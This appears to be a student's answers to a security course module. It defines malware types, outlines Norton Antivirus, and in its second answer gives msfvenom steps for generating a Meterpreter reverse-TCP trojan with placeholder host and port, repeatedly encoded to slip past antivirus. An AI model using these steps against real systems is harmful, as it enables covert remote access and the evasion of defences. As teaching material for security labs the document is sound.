Module 4

Q.1 Define Types of Viruses.

Ans:

Computer Virus: It is a type of software that tries to attack your system.

Computer Worm: A computer worm is a type of virus whose primary function is to self-replicate and infect other computers while remaining active on the infected system.

Scareware: It is a malware tactic that manipulates users into believing they need to download or buy malicious or useless software.

Keylogger: A computer program that records every keystroke made by user, especially in order to gain fraudulent access to passwords and other confidential information

Adware: Adware is a form of malware that hides on your device and serves you advertisements.

Malware: It is a blanket term for viruses, trojans and other destructive computer programs threat attackers use to infect systems and networks in order to gain access to sensitive information.

Backdoor: It refers to any method by which authorized and unauthorized users are able to get around normal security measures and gain high level user access on a computer system, network or software application.

Trojan: Trojan is a type of malware that disguises itself as a legitimate code or software.

Ransomware: It is a type of malicious software or malware designed to block access to a computer system or files until a ransom is paid by the victim.

Spyware: It is a type of malicious software or malware designed to secretly monitor and collect information about a user's computer activity, typically without their knowledge or consent.

Q.2 Create virus using Http Rat Trojan tool.

Ans: Step 1: Open exploit software

Open up the terminal and type in

Msfvenom

Step 2: Choose our payload

msfvenom -l payloads

Step 3: Customize our payload

msfvenom –list-options –p

To see what we can change and which device we can send exploit to.

Step 4: Generate the trojan

msfvenom -p [payload] LHOST=[your ip address] LPORT=[the port number] -f [file type] > [path]

Step 5: Encrypt the trojan

Since windows/meterpreter/reverse_tcp is a common exploit, many antivirus programs will detect it. However, we can encrypt the program so that an antivirus can't catch it. Included with metasploit is a long list of encryptors. Type:

msfvenom –l

Once you choose the encryption you want (we recommend x86/shikata_ga_nai), you can encrypt it multiple times when you type in the command to make the exploit. Encrypting the file multiple times helps prevent antivirus programs from catching your virus. Type in:

msfvenom -p [payload] LHOST=[your ip address] LPORT=[the port number] -e [encoder] -i [number of times to encrypt] -f [file type]>[path]

Step 7: Open a Meterpreter Session so that the Trojan can connect back to you

Q.3 Explain any one Antivirus with example

Ans: Norton Antivirus

Norton Antivirus is developed by NortonLifeLock, a cybersecurity company that provides a range of security solutions.

Norton Antivirus uses a variety of technologies to detect and remove threats, including signature-based detection, heuristics-based analysis, behavior-based analysis, ad machine learning.

It also includes features such as real-time protection, automatic updates, and web protection to help prevent malware infections.